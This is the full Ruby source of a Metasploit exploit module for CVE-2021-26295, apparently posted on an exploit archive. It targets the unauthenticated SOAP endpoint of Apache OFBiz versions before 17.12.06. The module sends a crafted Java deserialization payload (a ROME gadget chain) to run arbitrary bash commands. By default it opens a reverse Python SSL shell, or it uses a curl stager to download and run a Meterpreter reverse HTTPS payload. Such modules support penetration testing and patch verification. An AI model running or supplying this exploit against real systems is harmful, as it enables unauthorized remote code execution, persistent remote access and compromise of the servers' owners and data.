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Apache OFBiz SOAP Java Deserialization

Apache OFBiz SOAP Java Deserialization
Posted Apr 6, 2021
Authored by Spencer McIntyre, wvu, yumusb | Site metasploit.com

This Metasploit module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for versions prior to 17.12.06.

tags | exploit, java
advisories | CVE-2021-26295
MD5 | 0c60a02f29914741889c08a1688d97ff

Apache OFBiz SOAP Java Deserialization

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::JavaDeserialization

XML_NS = {
'serResponse' => 'http://ofbiz.apache.org/service/',
'soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/'
}.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache OFBiz SOAP Java Deserialization',
'Description' => %q{
This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated SOAP endpoint /webtools/control/SOAPService for
versions prior to 17.12.06.
},
'Author' => [
'yumusb', # original PoC
'Spencer McIntyre', # metasploit module
'wvu' # metasploit module
],
'References' => [
[ 'CVE', '2021-26295' ],
[ 'URL', 'https://github.com/yumusb/CVE-2021-26295-POC/blob/main/poc.py' ],
[ 'URL', 'https://issues.apache.org/jira/browse/OFBIZ-12167' ]
],
'DisclosureDate' => '2021-03-22', # NVD publish date
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :curl,
'PAYLOAD' => 'linux/x64/meterpreter_reverse_https'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
Opt::RPORT(8443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
# Send an empty serialized object
res = send_request_soap('')

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

messages = {}
res.get_xml_document.xpath('//soapenv:Envelope/soapenv:Body/serResponse:serResponse/serResponse:map-HashMap/serResponse:map-Entry', XML_NS).each do |entry|
key = entry.xpath('serResponse:map-Key/serResponse:std-String/@value', XML_NS).to_s
messages[key] = entry.xpath('serResponse:map-Value/serResponse:std-String/@value', XML_NS).to_s
end

if messages['errorMessage']&.start_with?('Problem deserializing object from byte array')
return CheckCode::Vulnerable('Target can deserialize arbitrary data.')
end

CheckCode::Safe('Target cannot deserialize arbitrary data.')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_soap(
# framework/webapp/lib/rome-0.9.jar
generate_java_deserialization_for_command('ROME', 'bash', cmd)
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

def send_request_soap(data)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/webtools/control/SOAPService'),
'ctype' => 'text/xml',
'data' => <<~XML
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>#{Rex::Text.to_hex(data, '')}</cus-obj>
</map-Key>
<map-Value>
<std-String value="http://#{Faker::Internet.domain_name}"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
XML
)
end

end
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